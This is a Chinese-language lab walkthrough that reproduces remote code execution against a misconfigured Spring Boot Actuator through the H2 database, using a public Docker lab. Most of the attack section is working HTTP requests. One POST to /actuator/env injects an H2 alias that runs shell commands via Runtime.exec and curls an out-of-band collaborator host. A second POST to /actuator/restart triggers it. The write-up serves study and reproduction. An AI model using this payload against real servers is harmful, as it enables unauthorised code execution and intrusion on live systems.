Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,本文复现一种通过H2数据库实现RCE的方法。
(1) 克隆github上的项目
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
(2) 使用docker启动环境
先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令
docker build -t spaceraccoon/spring-boot-rce-lab . docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
(3) 访问: http://192.168.222.143:8080/actuator
(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值
POST /actuator/env HTTP/1.1 Host: 192.168.222.143:8080 Content-Type: application/json Content-Length: 393 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}
(2)查看/actuator/env
(3)向端点 /actuator/restart 发送POST请求,重启应用
POST /actuator/restart HTTP/1.1 Host: 192.168.222.143:8080 Content-Type: application/json Content-Length: 2 {}
(4) 查看dnslog可以看到成功执行命令收到请求